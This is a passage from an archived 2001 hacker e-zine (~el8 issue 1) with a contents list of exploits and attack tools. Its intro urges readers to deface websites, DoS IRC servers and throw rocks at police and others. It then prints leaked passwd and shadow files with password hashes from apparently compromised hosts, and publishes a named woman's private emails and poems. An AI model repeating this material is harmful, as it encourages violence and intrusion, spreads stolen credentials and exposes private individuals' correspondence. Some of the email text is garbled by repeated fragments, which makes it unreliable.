home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / ~Eel8 / el8_1.txt next >
Encoding:
Text File  |  2002-05-27  |  279.4 KB  |  8,670 lines

  1. #!/bin/sh
  2. ################################################
  3. ##::::::::::::::::::::::::::::::::::::::::::::##
  4. ##:'####::::::'########:'##::::::::'#######:::##
  5. ##'##  ##:'##: ##.....:: ##:::::::'##.... ##::##
  6. ##..::. ####:: ##::::::: ##::::::: ##:::: ##::##
  7. ##:::::....::: ######::: ##:::::::: #######:::##
  8. ##:::::::::::: ##...:::: ##:::::::'##.... ##::##
  9. ##:::::::::::: ##::::::: ##::::::: ##:::: ##::##
  10. ##:~el8[1]:::: ########: ########:. #######:::##
  11. ##::::::::::::........::........:::.......::::##
  12. ################################################
  13. ## the definitive src for the Haiti H/P Scene ##
  14. ################################################
  15. ## do "sh <ISSUE_NAME>" to extract eldump.c   ##
  16. ## compile eldump.c and use it to extract     ##
  17. ## the rest of the codes                      ##
  18. ## el8@press.co.jp                            ##
  19. ##   <*> el8.n3.net                           ##
  20. ##   <*> packetstorm.securify.com/mag/~el8/   ##
  21. ################################################
  22.  
  23. cat <<'-+-+'> /dev/null
  24. [BOI]
  25.    __________________________________________________
  26. .-'               t4blE ()f h0lY w4R3z               `-.
  27. |                 --------------------                 |
  28. |[01] : intr0                                          |
  29. |[02] : st4tz                                          |
  30. |[03] : ~el8 l00pb4q                                   |
  31. |[04] : l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz            |
  32. |[05] : a w4lk d0wn mem0ry l4me                        |
  33. |[06] : the0 de f4agdt                                 |
  34. |[07] : f1n.c (Uses LibNET :)                          |
  35. |[08] : banner adv1sory                                |
  36. |[09] : identd kill                                    |
  37. |[10] : testsyscall adv1sory                           |
  38. |[11] : rm -rf / sh3llk0dez                            |
  39. |[12] : slowscan (evasive ids scanner)                 |
  40. |[13] : putpenis.c                                     |
  41. |[14] : THE UNIX VIRUS CHILDRENS MANUAL                |
  42. |[15] : SUPER CODE R1PP1NG (CONT3ST)                   |
  43. |[16] : M4IL B0MB3R                                    |
  44. |[17] : un1x f1le m4g1c                                |
  45. |[18] : ~el8ch4t                                       |
  46. |[19] : s1lly m4kr0z                                   |
  47. |[20] : qu1k3st f0rkb0mb in the w3st                   |
  48. |[21] : w4r3z t4lk3r us1ng AI                          |
  49. |[22] : me.c                                           |
  50. |[23] : un1x p4ssw0rd ste4l3r det3kt0r                 |
  51. |[24] : leet_talker.c                                  |
  52. |[25] : 8ball                                          |
  53. |[26] : ELDUMP / ELTAG                                 |
  54. |[27] : Closing w0rdz                                  |
  55. `-.__________________________________________________.-'
  56. .-'                 ~el8 R&DVDA te4m                 `-.
  57. |                   ----------------                   |
  58. | S1LLYG00S3    : le4der by f()rc3                     |
  59. | FUNNY_BUNNY   : g4yt3 ke4p3r                         |
  60. | M4ZT3RF4GST3R : BL1NG BL1NG                          |
  61. | 3nr1c0        : 3nr1c0 w4r3z t1t0                    |
  62. | r3dpubEz      : R3D_PUB1C_H4IR                       |
  63. | tGbB          : th3 g4y be4r br3w3ry                 |
  64. | cc            : c4w c4w!                             |
  65. | lt            : LKM T1TO                             |
  66. | mfqr          : M0THERFUKR                           |
  67. | Kg            : K3NNY G.                             |
  68. | ch1r0d        : CH1N0 R0DR1GUEZ                      |
  69. | gD            : g0sh d4rn1t                          |
  70. | movl          : M0V3 L0NG                            |
  71. | tmoL          : tmoLLie                              |
  72. | vari0uz du0d  : 0n3 v4ri0uz du0d                     |
  73. | tROD          : t1no r0dr1guez                       |
  74. `-.__________________________________________________.-'
  75.  
  76.  
  77.        _______________________
  78.     .-'                       `-.
  79. [01]|           intro           |[01]
  80. [01]|            by:            |[01]
  81. [01]|           ~el8            |[01]
  82.     `-._______________________.-'
  83.  
  84. [31338]:
  85.         ~el8 - ph0r & by fukn l4m3rz. peri0d.
  86.  
  87. [31338]:
  88.     y0, wh4t the fuk. ~el8 iz taken over the sk3n3. 1tz th3
  89.     n3w r1ch4rd ge4rz (ye4rz) extr4v4g4nz4! w3 w4nt ye4r 2001
  90.     t0 g3t k1q st4rt3d r1ght. s0 w3 pres3nt u w1th ~el8[1], the
  91.     sequ4l t0 ~el8[0].
  92.  
  93. [31338]:
  94.     w3 w4nt y0u, 0ur re4dersh1p, t0 t4g y0r h4kr alias3s all 0v3r
  95.     the pl4net. spr4y p4int the fuk 0ut 0f w4llz, build1ngz, s1dew4lkz,
  96.     bl1nd pe0ple, p0rt0 p0ttyz, and anyth1ng else u k4n th1nk 0f. d0nt
  97.     f0rg3t 1tz n1ce t0 le4ve gr34tz t0 ~el8. thr0w r0kz @ k0pz. burn
  98.     h4rry p0ttr and 2600 m4g4z1nez at ur l0c4l bo0k st0re. thr0w r0kz
  99.     @ ph3dz. d3f4ce as m4ny s1tez as p0ssible. us3 k1ll pres1d3nt 1n
  100.     ev3ry s3nt3nce 0n irc. DoS as m4ny irc s3rv3rz az u p0ssibly k4n.
  101.     p0st t0nz 0f bullshyt t0 every pr0gr4m / p4p3r 0n securityfocus 
  102.     H4H4H4. g0t0 church. g0t0 nyc 0r wh3r3ver the fuk mtv TRL iz, and
  103.     d0 as i st4ted b4, st4rt chuqn r0kz at them m0thrfukrz. g0t0 
  104.     sp0rt1ng ev3ntz and w4ve ~el8 po4st3rz. dur1ng spr1ng bre4k h4ve
  105.     s3x in public. h4ve s3x in public @ defc0n. d0nt we4r c0nd0mnz.
  106.  
  107. [31338]:
  108.     ~el8 t4k1ng 0ver the w0rld in the 2001. the ab0ve h4z been 0ur
  109.     n3w ye4rz res0luti0nz, we le4ve 1t up t0 y0u t0 ab1de by th3z
  110.     st4nd4rdz.
  111.  
  112. [31338]:
  113.     y0u c0uld pr0lly f1nd s0me g00d spr4y p4int at h0me dep0t
  114.     (th0ze fuqz putz Ha1t1 H0me H4rdw4re oUt 0f b1zn3ss). y0u 
  115.     c0uld d0 s0me ne4t shyt w1th an air brush, but th4tz k1nda expensive.
  116.     spr4y p4intz usu4lly c0sts $4. wh3n thr0w1ng r0kz at wh0mever /
  117.     wh4tever, be sure th4y ar3nt d1rt r0kz, k0z th0z w1ll juzt bre4k up
  118.     up0n imp4ct. c0r4l iz a v3ry f4ncy r0k we4p0n, s0 iph u k0uld g3t
  119.     ur h4ndz 0n s0me k0r4l ur in luq. us3 2-3 inch r0kz s0 th4t u k4n 
  120.     relo4d r4th3r quikly. ph0r def4c1ng s1tez u k4n f1nd m0st 0f ur
  121.     skr1ptz 0n p4ck3tst0rm. i'd pr3f3r th4t u guyz d0s efnet, d4ln3t,
  122.     or undern3t. iph u g0 st0n1ng at TRL, b sure t0 h1t k4rs0n f4ggy
  123.     f0r me, h3z my b0y.
  124.     
  125. [31338]:
  126.     0ne k4n easily n4vig8 th1z ezine by d0ing s0 in vi:
  127.         ?by:
  128.  
  129. [31338]:
  130.     enj0y the ez1ne mfqr.
  131.  
  132.  
  133.        ______________________
  134.     .-'                      `-.
  135. [02]|           st@z           |[02]
  136. [02]|            by:           |[02]
  137. [02]|           ~el8           |[02]
  138.     `-.______________________.-'
  139.  
  140. [kdu0dz]                                 -> BoW
  141. [ldu0dz]                                 -> Bugtraq, IRC
  142. [~el8_official_whiteh@_k1ll1ng_utility]  -> crowb4r
  143. [~el8_official_p0rn_s1te]                -> www.al4a.com/links
  144. [~el8_official_BBS]                      -> 1-800-FAT-GIRLS
  145. [~el8_official_lamest_du0d_on_the_inet]  -> vade79 (v9)
  146. [~el8_official_lamest_k0de_on_the_inet]  ->
  147.      http://www.low-level.net/code/massres.c
  148. [~el8_official_lamest_text_on_the_inet]  ->
  149.      http://packetstorm.securify.com/groups/r00tabega/stealthcode.txt
  150. [~el8_official_lamest_group_on_the_inet] ->
  151.      hhp (#hhp@efnet:hhp-programming.net)
  152. [~el8_official_lamest_du0dz_on_the_inet] -> Chris Evans, lcamtuf
  153. [~el8_official_rm_this_box_get_k0dez]    -> www.netcat.it
  154. [~el8_official_DoS_this_box_get_propz]   -> www.netcat.it
  155. [~el8_official_surv1v0r]                 -> Elian (viva la revolucion)
  156. [~el8_official_pr3z1d3nt_3l3ct]          -> 
  157.      Ralph Nader (only one who knows his shit)
  158. [~el8_official_snack_food]               -> Graham Crackorz
  159. [~el8_official_hair_removal_product]     -> Nadz
  160. [~el8_official_m0r0n]                    ->
  161.      George Walker Bush (th1s du0d c4nt ev3n r34d)
  162.  
  163.  
  164.        ______________________
  165.     .-'                      `-.
  166. [03]|       ~el8 l00pb4q       |[03]
  167. [03]|            by:           |[03]
  168. [03]|           ~el8           |[03]
  169.     `-.______________________.-'
  170.  
  171.         th1s iz wh3re u, 0ur f4nz, c4n s3nd us t0nz 0f ko0l shyt t0
  172.         put in ~el8. unf0rtunatly, h4rdly any1 em4ilz us, but a f3w
  173.         el8 people d0. m0st 0f 0ur em4il c0nsistz 0f h4rry p0tter
  174.         adv3rt1sem3ntz and x00m membersh1p upd8z. h3r3 y0u w1ll f1nd:
  175.  
  176.                 [1] th3 inf4m0us obsd ssg s3x ch4rt
  177.                 [2] l4m3rz zgv tr0j4nd passwd f1l3z (fe4tur1ng Mixter'z!)
  178.                 [3] jennicide'z mailspo0l :[
  179.         [4] h4g1s.irc
  180.  
  181. [BEGIN_DIR] l00pb4q
  182.  
  183. [1] -> ********************************************** <- [1]
  184. [1] -> phr0m some 0ne wh0 w1shes t0 r3m4in an0nym0us: <- [1]
  185. [1] -> ********************************************** <- [1]
  186.  
  187. [CUT_HERE] obsd-ssg.sexchart
  188.  
  189.     The SSG/team OpenBSD sex chart
  190.  
  191.    .----------bind---------.
  192.    |      .---'|`----------|--------.
  193.    |      |    |           |        |
  194.    |      |  cripto----de raadt---obecian
  195.  aempirei |   ||      .---'|`------.|
  196.    |      |   ||      |    |       ||
  197.    |.-----|---'|      |  jethro    ||
  198.    ||     |    |      |            ||
  199.    ||     `--route----|-------------'
  200.    ||          |      |            |
  201.    ||.---lore--|------|--------.   |
  202.    |||         |      |        |   |
  203. #hackphreak    `---dangergrl   `--halflife
  204.  
  205. [END_CUT] obsd-ssg.sexchart
  206.  
  207. [2] -> ***************** <- [2]
  208. [2] -> phr0m l4m3 mfqrZ: <- [2]
  209. [2] -> ***************** <- [2]
  210.  
  211. [CUT_HERE] lamerz
  212. From: Mixter <mixter@newyorkoffice.com>
  213. X-Sender: mixter@ghost.net
  214. To: realel8@aol.co.jp
  215. X-Spam-Rating: 209.85.120.230 1.6.2 0/1000/N
  216. X-DPOP: DPOP Version 2.8b
  217. Subject: Merry Warez
  218.  
  219. root:x:0:0:root:/root:/bin/bash
  220. sys:x:0:0:sys:/:/sbin/sash
  221. bin:x:1:1:bin:/bin:
  222. daemon:x:2:2:daemon:/sbin:
  223. adm:x:3:4:adm:/var/adm:
  224. lp:x:4:7:lp:/var/spool/lpd:
  225. sync:x:5:0:sync:/sbin:/bin/sync
  226. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  227. halt:x:7:0:halt:/sbin:/sbin/halt
  228. mail:x:8:12:mail:/var/spool/mail:
  229. news:x:9:13:news:/var/spool/news:
  230. uucp:x:10:14:uucp:/var/spool/uucp:
  231. operator:x:11:0:operator:/root:
  232. games:x:12:100:games:/usr/games:
  233. gopher:x:13:30:gopher:/usr/lib/gopher-data:
  234. ftp:x:14:50:FTP User:/home/ftp:
  235. nobody:x:99:99:Nobody:/:
  236. postgres:x:100:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash
  237. mixter:x:500:500::/home/mixter:/bin/bash
  238. p0rn:x:501:501::/terabyte-hd/p0rn/animal:/bin/bash
  239. egg:x:502:502::/home/egg:/bin/bash
  240. root:u2rrACA3VC5z2:10995:0:99999:7:-1:-1:134530364
  241. sys:TtKXmwWJN9aq2:10985:0:99999:7:::
  242. bin:*:10985:0:99999:7:::
  243. daemon:*:10985:0:99999:7:::
  244. adm:*:10985:0:99999:7:::
  245. lp:*:10985:0:99999:7:::
  246. sync:*:10985:0:99999:7:::
  247. shutdown:*:10985:0:99999:7:::
  248. halt:*:10985:0:99999:7:::
  249. mail:*:10985:0:99999:7:::
  250. news:*:10985:0:99999:7:::
  251. uucp:*:10985:0:99999:7:::
  252. operator:*:10985:0:99999:7:::
  253. games:*:10985:0:99999:7:::
  254. gopher:*:10985:0:99999:7:::
  255. ftp:JuEwpPp.1rKkE:10985:0:99999:7:::
  256. nobody:*:10985:0:99999:7:::
  257. postgres:!!:10985:0:99999:7:::
  258. mixter:08z9S0RnBlXKc:10995:0:99999:7:-1:-1:134529876
  259. p0rn:yHldGIeOf/Onc:10985:0:99999:7:::
  260. egg:sTJD7W.rWOtwo:10985:0:99999:7:::
  261.  
  262. From: maniac1@techlab.bia-bg.com
  263. To: realel8@aol.co.jp
  264. Subject: Merry Warez
  265. root:x:0:0:root:/root:/bin/bash
  266. bin:x:1:1:bin:/bin:
  267. daemon:x:2:2:daemon:/sbin:
  268. adm:x:3:4:adm:/var/adm:
  269. lp:x:4:7:lp:/var/spool/lpd:
  270. sync:x:5:0:sync:/sbin:/bin/sync
  271. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  272. halt:x:7:0:halt:/sbin:/sbin/halt
  273. mail:x:8:12:mail:/var/spool/mail:
  274. news:x:9:13:news:/var/spool/news:
  275. uucp:x:10:14:uucp:/var/spool/uucp:
  276. operator:x:11:0:operator:/root:
  277. games:x:12:100:games:/usr/games:
  278. gopher:x:13:30:gopher:/usr/lib/gopher-data:
  279. ftp:x:14:50:FTP User:/home/ftp:
  280. nobody:x:99:99:Nobody:/:
  281. xfs:x:100:102:X Font Server:/etc/X11/fs:/bin/false
  282. gdm:x:42:42::/home/gdm:/bin/bash
  283. postgres:x:101:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash
  284. squid:x:102:234:squid:/var/spool/squid:
  285. dex:x:500:500:Dexter Burned:/home/dex:/bin/bash
  286. ufo:x:501:501::/home/ufo:/bin/bash
  287. ndd:x:502:502::/home/ndd:/bin/bash
  288. celi:x:503:503::/home/celi:/bin/bash
  289. pzh:x:504:504::/home/pzh:/bin/bash
  290. be2to:x:505:505::/home/be2to:/bin/bash
  291. pil:x:506:506::/home/pil:/bin/bash
  292. did:x:507:507::/home/did:/bin/bash
  293. maniac1:x:508:508::/home/maniac1:/bin/bash
  294. ender:x:509:509::/home/ender:/bin/bash
  295. ilian:x:510:510::/home/ilian:/bin/bash
  296. lomsky:x:512:512::/home/lomsky:/bin/bash
  297. egg:x:513:513::/home/egg:/bin/bash
  298. toni:x:514:514::/home/toni:/bin/bash
  299. alias:x:515:515::/var/qmail/alias:/bin/bash
  300. qmaild:x:516:515::/var/qmail:/bin/bash
  301. qmaill:x:517:515::/var/qmail:/bin/bash
  302. qmailp:x:518:515::/var/qmail:/bin/bash
  303. qmailq:x:519:516::/var/qmail:/bin/bash
  304. qmailr:x:520:516::/var/qmail:/bin/bash
  305. qmails:x:521:516::/var/qmail:/bin/bash
  306. nss:x:522:522::/home/nss:/bin/bash
  307.  
  308. From: majestic@area51.acidnet.org
  309. To: realel8@aol.co.jp
  310. halt:x:7:0:halt:/sbin:/sbin/halt
  311. operator:x:11:0:operator:/root:/bin/bash
  312. root:x:0:0::/root:/bin/bash
  313. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  314. sync:x:5:0:sync:/sbin:/bin/sync
  315. bin:x:1:1:bin:/bin:
  316. ftp:x:404:1::/home/ftp:/bin/false
  317. daemon:x:2:2:daemon:/sbin:
  318. adm:x:3:4:adm:/var/adm:
  319. lp:x:4:7:lp:/var/spool/lpd:
  320. mail:x:8:12:mail:/var/spool/mail:
  321. postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
  322. news:x:9:13:news:/usr/lib/news:
  323. uucp:x:10:14:uucp:/var/spool/uucppublic:
  324. man:x:13:15:man:/usr/man:
  325. games:x:12:100:games:/usr/games:
  326. guest:x:405:100:guest:/dev/null:/dev/null
  327. nobody:x:65534:100:nobody:/dev/null:
  328. majestic:x:1000:100:,,,:/home/majestic:/bin/bash
  329. hobo:x:1001:100:,,,:/home/hobo:/bin/bash
  330. krill:x:1002:100:,,,:/home/krill:/bin/bash
  331. sr:x:1003:100:,,,:/home/sr:/bin/bash
  332. intense:x:1004:100:,,,:/home/intense:/bin/bash
  333. kraze:x:1005:100:,,,:/home/kraze:/bin/bash
  334. caddis:x:1008:100:,,,:/home/caddis:/bin/bash
  335. ez:x:1009:100:,,,:/home/ez:/bin/bash
  336. pic:x:1010:100:,,,:/home/pic:/bin/bash
  337. rapid:x:1011:100:,,,:/home/rapid:/bin/bash
  338.  
  339. To: realel8@aol.co.jp
  340. From: * Ich bin zur Auslese zum Lesen von Schei?e * <xet@hell.net>
  341. Subject: Merry Warez
  342. root:x:0:0:root:/root:/bin/tcsh
  343. bin:x:1:1:bin:/bin:
  344. daemon:x:2:2:daemon:/sbin:
  345. adm:x:3:4:adm:/var/adm:
  346. amd:*:0:0::/home/amd:/bin/bash
  347. lp:x:4:7:lp:/var/spool/lpd:
  348. sync:x:5:0:sync:/sbin:/bin/sync
  349. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  350. halt:x:7:0:halt:/sbin:/sbin/halt
  351. mail:x:8:12:mail:/var/spool/mail:
  352. news:x:9:13:news:/var/spool/news:
  353. uucp:x:10:14:uucp:/var/spool/uucp:
  354. operator:x:11:0:operator:/root:
  355. games:x:12:100:games:/usr/games:
  356. gopher:x:13:30:gopher:/usr/lib/gopher-data:
  357. ftp:x:14:50:FTP User:/home/ftp:
  358. nobody:x:99:99:Nobody:/:
  359. postgres:x:100:233:PostgreSQL Server:/var/lib/pgsql:/bin/bash
  360. XeT:x:500:500:* I'm too elite to read shit *:/home/XeT:/bin/tcsh
  361. c0redump:x:501:506::/home/c0redump:/bin/bash
  362. vlad:x:502:507::/home/vlad:/bin/bash
  363. staff:x:503:508::/home/staff:/bin/bash
  364. xet:x:504:509:* Ich bin zur Auslese zum Lesen von Scheiā–€e *:/home/xet:/bin/tcsh
  365. gdm:x:42:42::/home/gdm:/bin/bash
  366. squid:x:101:101::/var/spool/squid:/dev/null
  367. xfs:x:102:102:X Font Server:/etc/X11/fs:/bin/false
  368. caaa:x:505:510::/home/caaa:/bin/bash
  369. steve:x:506:511::/home/steve:/bin/false
  370. caca:x:507:512::/home/caca:/bin/noshell
  371. lala:x:666:666::/home/lala:/bin/bash
  372. mavzz:x:667:667::/home/mavzz:/bin/tcsh
  373. ext2:x:668:668::/home/ext2:/bin/bash
  374. teespy:x:669:669::/home/teespy:/bin/bash
  375. cucumber:x:670:670::/home/cucumber:/bin/bash
  376. smc0:x:671:672::/home/smc0:/bin/bash
  377. [END_CUT] lamerz
  378.  
  379. [3] -> ************************ <- [3]
  380. [3] -> phr0m some0ne an0nym0us: <- [3]
  381. [3] -> ************************ <- [3]
  382.  
  383. [CUT_HERE] jennicide.mailspool
  384.  
  385. From: "Jordan S" <xxxxxxxx@xxxxxxx.xxx>
  386. To: <nin@dol.net>
  387. Subject: jen!
  388. Date: Mon, 5 Jan 1998 22:49:43 -0600
  389.  
  390. hey jen, this is a poem i wrote a long time agao, its kinda of messed cause i was messed up at the time, but anyways here it is.
  391.  
  392. your favorite fanzine, cheezy toilet paper presents a short storie by jordan s.
  393.  
  394. Hows B.J. Armstong
  395. ------------------------------
  396.  
  397. -  Long agao in a palce not so far away, there lived a boy, yes a boy.  a boy
  398. so caught in a failing cavern of life.  alone, cold, very burnt.  a need filled
  399. this boy.  filled his veins, pumping through excelerating the world, and space.
  400. a quest, the journy to find element and ingredients, people across total to
  401. come to. a person, a partner. left long ago, forgottin in a forein land,
  402. another time, place & goal. the cavern was deep & dark, empty, sucked empty by
  403. many who passed.  they who still remained grope & pick at him, naw & chew,
  404. grate him, drag him deeper.  losing his grip, lossing his mind, lossing his
  405. heart & soul.  chilling them, killing off the uneasy.  wasted he left himself
  406. and wanderd in another. to see himself lost from above.  his need grew to find
  407. a person to fill the gap left by many.  himself and wanderd in another. to see
  408. himself lost from above.  his need grew to find a person to fill the gap left
  409. by many.  himself and wanderd in another. to see himself lost from above.
  410. his need grew to find a person to fill the gap left by many.  his open arms
  411. open for years to all that grows & all ponders fields.  not long after he lost
  412. his all & oh so many times he had.  a nice sweet young girl strode his scene.
  413. she sliced his failing body, and ground his ailing guts, she rolled him up and
  414. sewed his heart.  now he was new & great.
  415. his need still there, brewing vastly, he & she sat.  the girl now sobbing, left
  416. him to find what he was seeking.  in along swipe of his finger he erased the
  417. existance that once was, he replaced all with what was to be.  a small tunnel
  418. of a past existance still in the distance became impossible to enter.  so he
  419. brushed it away as what once would have been.  he thrust his self onto the
  420. people, in there minds a maze of racing lights and activity.  growing spirits
  421. and achieving life.  he gew through there roots as they were once his.  out the
  422. gate into the open, he picked a small flower. breaking the crust slighty, his
  423. quest rekindled, his mind open, his renewed sence-ability acheived.  not so
  424. lost, this boy, his game, his right had a seat still open!
  425.  
  426. there, this poem/story isnt the greatest. just thought u should read it !
  427.  
  428. love
  429. jordan
  430.  
  431. From: "Jordan S" <xxxxxxxx@xxxxxx.xx>
  432. Subject: here..
  433. Date: Mon, 5 Jan 1998 22:56:49 -0600
  434.  
  435. hi, i just feel like spilling out whatever comes outta my mind, i hope u dont
  436. think im some kinda sicko or whatever :P but anyways here it goes...
  437.  
  438. Hello is a word you say to a person when they arrive.  Good-bye is a word you
  439. say to a person when they leave, but what do you say to a person when they are
  440. born, and what to you say to a person when the die?
  441.  
  442. You can't say hello, and you can't say good-bye, because to be born and to
  443. die is far more important.
  444.  
  445. Do you say, Welcome in the world and I'll see you in the after world.  Or do
  446. you say, Good luck in life and I<92>ll miss you forever?
  447.  
  448. Or maybe you say, You<92>re are so precious and Why did you have to go?
  449.  
  450. Why is it so hard to find the words you mean to say at the most important
  451. times in your life.
  452.  
  453. Once again I ask, what do you say to a person when they<92>re born, and what
  454. do you say to a person when they die?
  455.  
  456. Maybe three litou say to a person when they<92>re born, and what do you say to
  457. a person when they die?
  458.  
  459. Maybe three little words is the answer to both questions.
  460.  
  461. What do you say?  You say: I Love You
  462.  
  463.  
  464.  
  465.             love
  466.  
  467.             jordan
  468.  
  469. From: "Jordan S" <xxxxxxxx@xxxxxxxxxxx.xx>
  470. To: <nin@dol.net>
  471. Subject: hi
  472. Date: Mon, 5 Jan 1998 22:59:30 -0600
  473.  
  474. What is love?  To some people its everything.  To others it means nothing.  To
  475. me it's the world.
  476.  
  477. Love isn't a word to be taken lightly.It's a word to be tendered and cherished.
  478. To be careful.  To stand behind it's meaning.
  479.  
  480. Love is different to everyone.  Love is not just a word.  Love is not to be
  481. taken advantage of.  Love is a mystery like magic.  It happens and can't be
  482. explained.  Love can be painful, yet beautiful when held.  Love, Love.
  483. Love is the most beautiful thing in the world.
  484.  
  485.             Love, Love.  Love is the most beautiful thing in the world.
  486.  
  487.             love
  488.  
  489.             jordan
  490.  
  491. From: "Jordan S" <xxxxxxxx@xxxxxxxxxxx.xxx>
  492. To: <nin@dol.net>
  493. Subject: here
  494. Date: Mon, 5 Jan 1998 23:03:34 -0600
  495.  
  496. hi jen its me again, anyways i wrote this yesturday night when i was upset and
  497. once again im sorry for hurting you.
  498.  
  499. I sit here alone feeling empty and lonely.  I think of you often wondering how
  500. you are, what you are doing..wishing I could hold you.
  501.  
  502. At times I tell myself--I am strong and the time will pass quickly.
  503. Yet at other times I sit and cry and wonder why love must be this way.  Though
  504. somewhere in the emptiness I find myself feeling very loved and I realize that
  505. it's not the loving that hurts so much--It's being without you.
  506.  
  507. find myself feeling very loved and I realize that it's not the loving that
  508. hurts so much--It's being without you.
  509.  
  510.             love
  511.  
  512.             jordan
  513.  
  514. From: "Jordan S" <xxxxx@xxxxxxxx.xxx>
  515. To: <nin@dol.net>
  516. Subject: hi!
  517. Date: Mon, 5 Jan 1998 23:12:20 -0600
  518.  
  519. jen,
  520.  
  521. anyways, those are all the poems i have found so far. i have lost so many and i
  522. wish i havnt, because i wanted to share them with someone, and never had the
  523. guts to or never did. i hope you like them. like i said you mean lots to me,
  524. and hopefully you belive what i say. if you wish to share some of your poems or
  525. whatever or decide to emailou mean lots to me, and hopefully you belive what i
  526. say. if you wish to share some of your poems or whatever or decide to emailou
  527. mean lots to me, and hopefully you belive what i say. if you wish to share some
  528. of your poems or whatever or decide to email me back. my email u can email me
  529. atis shanifer@hotmail.com please email me back id appricate it! thanks! see you
  530.  
  531. love lots
  532. jordan
  533.  
  534. From: "Jordan S" <xxxxxxxx@xxxxxx.xxx>
  535. To: <nin@dol.net>
  536. Subject: here...
  537. Date: Tue, 6 Jan 1998 22:07:11 -0600
  538.  
  539. well im bored so im going to try writing you another poem since you like poems
  540. and all.. here it goes...
  541.  
  542. I promise to give you the best of myself and to ask of
  543.   you no more than you can give promise to accept you the way you are
  544.   and I wont try to reshape you in a different image.
  545. I promise to respect you as a person with your own interests, desires and
  546.   needs, and to realize that those are sometimes different but no less
  547.   important then my own.
  548. I promise to grow along with you, to be willing to
  549.   change in ord are sometimes different but no less important then my own.
  550. I promise to grow along with you, to be willing to change in ord are sometimes
  551.   different but no less important then my own.
  552. I promise to grow along with you, to be willing to change in order to keep our
  553.   relationship alive and exciting.
  554. And finally, I promise to love you, in good times and in bad, with all that I
  555. have to give and all that I feel inside, completely and forever.
  556.  
  557. love
  558. jordan
  559.  
  560. From: "Jordan S" <xxxxx@xxxxxxxx.xxx>
  561. To: <nin@dol.net>
  562. Subject: love at first sight
  563. Date: Wed, 7 Jan 1998 21:05:30 -0600
  564.  
  565. Do I believe in love at first sight?
  566. Forgive the laugh, but the question is so naive!
  567. Youthful fancies hardly encompass the complexities of mature relationships.
  568. True, you are quite beautiful, but one cannot know true inner beauty at first
  569.   glance. It's much deeper and takes time to be revealed.
  570. Your skin is perhaps softer than the flowing foam of some gently murmuring
  571.   distant shore, but what of it?
  572. That's not love.
  573. I do notice that your hands are more graceful than a ballet of swaying boughs
  574.   and your laughter a dance of dappled sunlight.
  575. And in your eyes are glimmering pools of joy and tenderness, warm swirls of
  576.   innocence and passion, playfulness and understanding.
  577. And in your eyes, Beauty laughs and plays and sings and calls my name.
  578. And Trust with Caution pleads and cooing Passion intervenes, and Grace extends
  579.   her open arms, and I surrender silently.
  580. But love at first sight? How can it be?
  581.  
  582. love
  583. jordan
  584.  
  585. From: "Jordan S" <xxxxx@xxxxxxxxx.xxx>
  586. To: <nin@dol.net>
  587. Subject: a gift from heaven
  588. Date: Thu, 8 Jan 1998 21:45:59 -0600
  589.  
  590. A Gift From Heaven
  591.  
  592. I was blessed by God
  593. when he sent an angel down
  594. from Heaven you came
  595. and there you were found
  596. with your beauty so divine
  597. and your soul so sweet
  598. it can make a grown man cry
  599. and bring the strong to their knees.
  600. You are a gift from Heaven
  601. with nd your soul so sweet
  602. it can make a grown man cry
  603. and bring the strong to their knees.
  604. You are a gift from Heaven
  605. with nd your soul so sweet
  606. it can make a grown man cry
  607. and bring the strong to their knees.
  608. You are a gift from Heaven
  609. with a golden bow
  610. with love that stays strong
  611. through sleet and snow.
  612. With you I am whole,
  613. and I think it's meant to be,
  614. I cannot thank God enough
  615. for this miracle He's given to me.
  616.  
  617. love
  618. jordan
  619.  
  620. Date: Fri, 09 Jan 1998 23:00:15 -0800
  621. To: nin@dol.net
  622. From: Stephen <ex1@lightspeed.net>
  623.  
  624.         Hi "hun", did you have a good nights sleep?
  625.   You know, I can't stop thinking about you. See you tomarrow maybe.
  626.  
  627.                                   Luv ya
  628.                                      Blackblade
  629.  
  630. From: The PBX Phreak <pbx@caffeine.induced.insomnia.org>
  631. To: nin@dol.net
  632. Subject: hey
  633.  
  634. hi sweetie.. how are you doing... just checkin up on ya :) .. havent seen
  635. you on irc lately.. well thats bout it for me.. write back.. *hug*
  636.  
  637. The PBX Phreak
  638. pbx@insomnia.org
  639. http://www.insomnia.org/~pbx
  640.  
  641. From: "Jordan S" <xxxxx@xxxxxxxxxx.xxxx>
  642. To: <nin@dol.net>
  643. Subject: .
  644. Date: Sun, 11 Jan 1998 13:20:42 -0600
  645.  
  646. Transcending all the standards,
  647. ignoring the norms,
  648. I am drawn to you.
  649. I see beyond your appearance,
  650. far enough to se
  651. Transcending all the standards,
  652. ignoring the norms,
  653. I am drawn to you.
  654. I see beyond your appearance,
  655. far enough to se
  656. Transcending all the standards,
  657. ignoring the norms,
  658. I am drawn to you.
  659. I see beyond your appearance,
  660. far enough to see your soul.
  661.  
  662. Timeless,
  663. ageless,
  664. I fell in love.
  665.  
  666.  
  667. From: "Jordan S" <xxxxxx@xxxxxxxx.xxx>
  668. To: <nin@dol.net>
  669. Subject: .
  670. Date: Sun, 11 Jan 1998 13:23:16 -0600
  671.  
  672. Oh tortured heart!
  673. A tease, a moment,
  674. only to be torn apart,
  675. are these the tricks
  676. fate plays on the bored minds
  677. and bodies,
  678. tantalized by feelings of
  679. newly revived sensations.
  680. Minds,
  681. confused by thoughts and
  682. questions rebounding off each other
  683. from sheer number,
  684. fear not.
  685. The next concentration is
  686. just around the bend.
  687.  
  688. From: "Jordan S" <xxxxxxxx@xxxxxxx.xxx>
  689. To: <nin@dol.net>
  690. Subject: .
  691. Date: Sun, 11 Jan 1998 13:31:41 -0600
  692.  
  693. In the absence of light
  694. we lie together in this small room,
  695. I reach out my uncertain fingers
  696. to touch the darkness of your face,
  697. In this moment of perfection.
  698. Somehow,
  699. we have fallen together,
  700. fallen without remorse
  701. in a house of lost desires,
  702. then let this house be our church,
  703. undefiled by dead Gods,
  704. and our broken angles,
  705. twisting without words in the silent wind,
  706. and what I have seen
  707. in the shadows of your ephemeral face,
  708. words without lips falling
  709. too easily from your fingers,
  710. your eyes,
  711. I have seen
